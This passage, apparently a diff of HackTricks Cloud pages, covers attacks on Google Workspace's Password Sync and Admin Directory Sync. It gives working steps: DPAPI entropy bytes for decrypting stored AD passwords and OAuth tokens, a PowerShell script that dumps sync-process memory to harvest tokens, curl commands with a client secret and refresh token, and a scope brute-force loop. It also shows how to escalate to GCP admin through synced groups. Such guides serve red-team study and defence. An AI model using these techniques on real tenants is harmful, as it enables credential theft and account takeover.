Regarding AD, it's possible to indicate it to use the current **applications context, anonymous or some specific credentials**. If the credentials option is selected, the **username** is stored inside a file in the **disk** and the **password** is **encrypted** and stored in the **registry**.
|
||||
|
||||
### GPS - Dumping password and token from disk
|
||||
|
||||
{% hint style="success" %}
|
||||
Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GPS**, get information about the configuration and **even decrypt the password and token**.
|
||||
{% endhint %}
|
||||
|
||||
In the file **`C:\ProgramData\Google\Google Apps Password Sync\config.xml`** it's possible to find part of the configuration like the **`baseDN`** of the AD configured and the **`username`** whose credentials are being used.
|
||||
|
||||
In the registry **`HKLM\Software\Google\Google Apps Password Sync`** it's possible to find the **encrypted refresh token** and the **encrypted password** for the AD user (if any). Moreover, if instead of an token, some **SA credentials** are used, it's also possible to find those encrypted in that registry address. The **values** inside this registry are only **accessible** by **Administrators**.
|
||||
|
||||
The encrypted **password** (if any) is inside the key **`ADPassword`** and is encrypted using **`CryptProtectData`** API. To decrypt it, you need to be the same user as the one that configured the password sync and use this **entropy** when using the **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };`
|
||||
|
||||
The encrypted token (if any) is inside the key **`AuthToken`** and is encrypted using **`CryptProtecData`** API. To decrypt it, you need to be the same user as the one that configured the password sync and use this **entropy** when using the **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };`\
|
||||
Moreover, it's also encoded using base32hex with the dictionary **`0123456789abcdefghijklmnopqrstv`**.
|
||||
|
||||
The entropy values were found by using the tool . It was configured to monitor the calls to **`CryptUnprotectData`** and **`CryptProtectData`** and then the tool was used to launch and monitor `PasswordSync.exe` which will decrypt the configured password and auth token at the beginning and the tool will **show the values for the entropy used** in both cases:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-photo-size-4-5782633230648853886-y.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Note that it's also possible to see the **decrypted** values in the input or output of the calls to these APIs also (in case at some point Winpeas stop working).
|
||||
|
||||
In case the Password Sync was **configured with SA credentials**, it will also be stored in keys inside the registry **`HKLM\Software\Google\Google Apps Password Sync`**.
|
||||
|
||||
### GPS - Dumping tokens from memory
|
||||
|
||||
Just like with GCPW, it's possible to dump the memory of the process of the `PasswordSync.exe` and the `password_sync_service.exe` processes and you will be able to find refresh and access tokens (if they have been generated already).\
|
||||
I guess you could also find the AD configured credentials.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Dump <code>PasswordSync.exe</code> and the <code>password_sync_service.exe</code> processes and search tokens</summary>
|
||||
|
||||
```powershell
|
||||
# Define paths for Procdump and Strings utilities
|
||||
$procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe"
|
||||
$stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe"
|
||||
$dumpFolder = "C:\Users\Public\dumps"
|
||||
|
||||
# Regular expressions for tokens
|
||||
$tokenRegexes = @(
|
||||
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
|
||||
"1//[a-zA-Z0-9_\.\-]{50,}"
|
||||
)
|
||||
|
||||
# Show EULA if it wasn't accepted yet for strings
|
||||
$stringsPath
|
||||
|
||||
# Create a directory for the dumps if it doesn't exist
|
||||
if (!(Test-Path $dumpFolder)) {
|
||||
New-Item -Path $dumpFolder -ItemType Directory
|
||||
}
|
||||
|
||||
# Get all Chrome process IDs
|
||||
$processNames = @("PasswordSync", "password_sync_service")
|
||||
$chromeProcesses = Get-Process | Where-Object { $processNames -contains $_.Name } | Select-Object -ExpandProperty Id
|
||||
|
||||
# Dump each Chrome process
|
||||
foreach ($processId in $chromeProcesses) {
|
||||
Write-Output "Dumping process with PID: $processId"
|
||||
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
|
||||
}
|
||||
|
||||
# Extract strings and search for tokens in each dump
|
||||
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
|
||||
$dumpFile = $_.FullName
|
||||
$baseName = $_.BaseName
|
||||
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
|
||||
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
|
||||
|
||||
Write-Output "Extracting strings from $dumpFile"
|
||||
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
|
||||
& $stringsPath -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
|
||||
|
||||
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
|
||||
|
||||
foreach ($file in $outputFiles) {
|
||||
foreach ($regex in $tokenRegexes) {
|
||||
|
||||
$matches = Select-String -Path $file -Pattern $regex -AllMatches
|
||||
|
||||
$uniqueMatches = @{}
|
||||
|
||||
foreach ($matchInfo in $matches) {
|
||||
foreach ($match in $matchInfo.Matches) {
|
||||
$matchValue = $match.Value
|
||||
if (-not $uniqueMatches.ContainsKey($matchValue)) {
|
||||
$uniqueMatches[$matchValue] = @{
|
||||
LineNumber = $matchInfo.LineNumber
|
||||
LineText = $matchInfo.Line.Trim()
|
||||
FilePath = $matchInfo.Path
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
foreach ($matchValue in $uniqueMatches.Keys) {
|
||||
$info = $uniqueMatches[$matchValue]
|
||||
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
|
||||
}
|
||||
}
|
||||
|
||||
Write-Output ""
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
### GPS - Generating access tokens from refresh tokens
|
||||
|
||||
Using the refresh token it's possible to generate access tokens using it and the client ID and client secret specified in the following command:
|
||||
|
||||
```bash
|
||||
curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
|
||||
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
|
||||
--data "grant_type=refresh_token" \
|
||||
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
|
||||
https://www.googleapis.com/oauth2/v4/token
|
||||
```
|
||||
|
||||
### GPS - Scopes
|
||||
|
||||
{% hint style="info" %}
|
||||
Note that even having a refresh token, it's not possible to request any scope for the access token as you can only requests the **scopes supported by the application where you are generating the access token**.
|
||||
|
||||
Also, the refresh token is not valid in every application.
|
||||
{% endhint %}
|
||||
|
||||
By default GPS won't have access as the user to every possible OAuth scope, so using the following script we can find the scopes that can be used with the `refresh_token` to generate an `access_token`:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Bash script to brute-force scopes</summary>
|
||||
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
|
||||
echo -ne "Testing $scope \r"
|
||||
if ! curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
|
||||
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
|
||||
--data "grant_type=refresh_token" \
|
||||
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
|
||||
--data "scope=$scope" \
|
||||
https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
|
||||
echo ""
|
||||
echo $scope
|
||||
echo $scope >> /tmp/valid_scopes.txt
|
||||
fi
|
||||
done
|
||||
|
||||
echo ""
|
||||
echo ""
|
||||
echo "Valid scopes:"
|
||||
cat /tmp/valid_scopes.txt
|
||||
rm /tmp/valid_scopes.txt
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
And this is the output I got at the time of the writing:
|
||||
|
||||
```
|
||||
https://www.googleapis.com/auth/admin.directory.user
|
||||
```
|
||||
|
||||
Which is the same one you get if you don't indicate any scope.
|
||||
|
||||
{% hint style="danger" %}
|
||||
With this scope you could **modify the password of a existing user to escalate privileges**.
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -0,0 +1,86 @@
|
||||
# GWS - Admin Directory Sync
|
||||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Basic Information
|
||||
|
||||
The main difference between this way to synchronize users with GCDS is that GCDS is done manually with some binaries you need to download and run while **Admin Directory Sync is serverless** managed by Google in [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
|
||||
|
||||
At the moment of this writing this service is in beta and it supports 2 types of synchronization: From **Active Directory** and from **Azure Entra ID:**
|
||||
|
||||
* **Active Directory:** In order to set this up you need to give **access to Google to you Active Directory environment**. And as Google only has access to GCP networks (via **VPC connectors**) you need to create a connector and then make your AD available from that connector by having it in VMs in the GCP network or using Cloud VPN or Cloud Interconnect. Then, you also need to provide **credentials** of an account with read access over the directory and **certificate** to contact via **LDAPS**.
|
||||
* **Azure Entra ID:** To configure this it's just needed to **login in Azure with a user with read access** over the Entra ID subscription in a pop-up showed by Google, and Google will keep the token with read access over Entra ID.
|
||||
|
||||
Once correctly configured, both options will allow to **synchronize users and groups to Workspace**, but it won't allow to configure users and groups from Workspace to AD or EntraID.
|
||||
|
||||
Other options that it will allow during this synchronization are:
|
||||
|
||||
* Send an email to the new users to log-in
|
||||
* Automatically change their email address to the one used by Workspace. So if Workspace is using `@hacktricks.xyz` and EntraID users use `@carloshacktricks.onmicrosoft.com`, `@hacktricks.xyz` will be used for the users created in the account.
|
||||
* Select the **groups containing the users** that will be synced.
|
||||
* Select to **groups** to synchronize and create in Workspace (or indicate to synchronize all groups).
|
||||
|
||||
### From AD/EntraID -> Google Workspace (& GCP)
|
||||
|
||||
If you manage to compromise an AD or EntraID you will have total control of the users & groups that are going to be synchronized with Google Workspace.\
|
||||
However, notice that the **passwords** the users might be using in Workspace **could be the same ones or not**.
|
||||
|
||||
#### Attacking users
|
||||
|
||||
When the synchronization happens it might synchronize **all the users from AD or only the ones from a specific OU** or only the **users members of specific groups in EntraID**. This means that to attack a synchronized user (or create a new one that gets synchronized) you will need first to figure out which users are being synchronized.
|
||||
|
||||
* Users might be **reusing the password or not from AD or EntraID**, but this mean that you will need to **compromise the passwords of the users to login**.
|
||||
* If you have access to the **mails** of the users, you could **change the Workspace password of an existing user**, or **create a new user**, wait until it gets synchronized an setup the account.
|
||||
|
||||
Once you access the user inside Workspace it might be given some **permissions by default**.
|
||||
|
||||
#### Attacking Groups
|
||||
|
||||
You also need to figure out first which groups are being synchronized. Although there is the possibility that **ALL** the groups are being synchronized (as Workspace allows this).
|
||||
|
||||
{% hint style="info" %}
|
||||
Note that even if the groups and memberships are imported into Workspace, the **users that aren't synchronized in the users sychronization won't be created** during groups synchronization even if they are members of any of the groups synchronized.
|
||||
{% endhint %}
|
||||
|
||||
If you know which groups from Azure are being **assigned permissions in Workspace or GCP**, you could just add a compromised user (or newly created) in that group and get those permissions.
|
||||
|
||||
There is another option to abuse existing privileged groups in Workspace. For example, the group `gcp-organization-admins@<workspace.email>` usually has high privileges over GCP.
|
||||
|
||||
If the synchronization from, for example EntraID, to Workspace is **configured to replace the domain** of the imported object **with the email of Workspace**, it will be possible for an attacker to create the group `gcp-organization-admins@<entraid.email>` in EntraID, add a user in this group, and wait until the synchronization of all the groups happen.\
|
||||
**The user will be added in the group `gcp-organization-admins@<workspace.email>` escalating privileges in GCP.**
|
||||
|
||||
### From Google Workspace -> AD/EntraID
|
||||
|
||||
Note that Workspace require credentials with read only access over AD or EntraID to synchronize users and groups. Therefore, it's not possible to abuse Google Workspace to perform any change in AD or EntraID. So **this isn't possible** at this moment.
|
||||
|
||||
I also don't know where does Google store the AD credentials or EntraID token and you **can't recover them re-configuring the synchronizarion** (they don't appear in the web form, you need to give them again). However, from the web it might be possible to abuse the current functionality to **list users and groups**.
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
Reference in New Issue
Block a user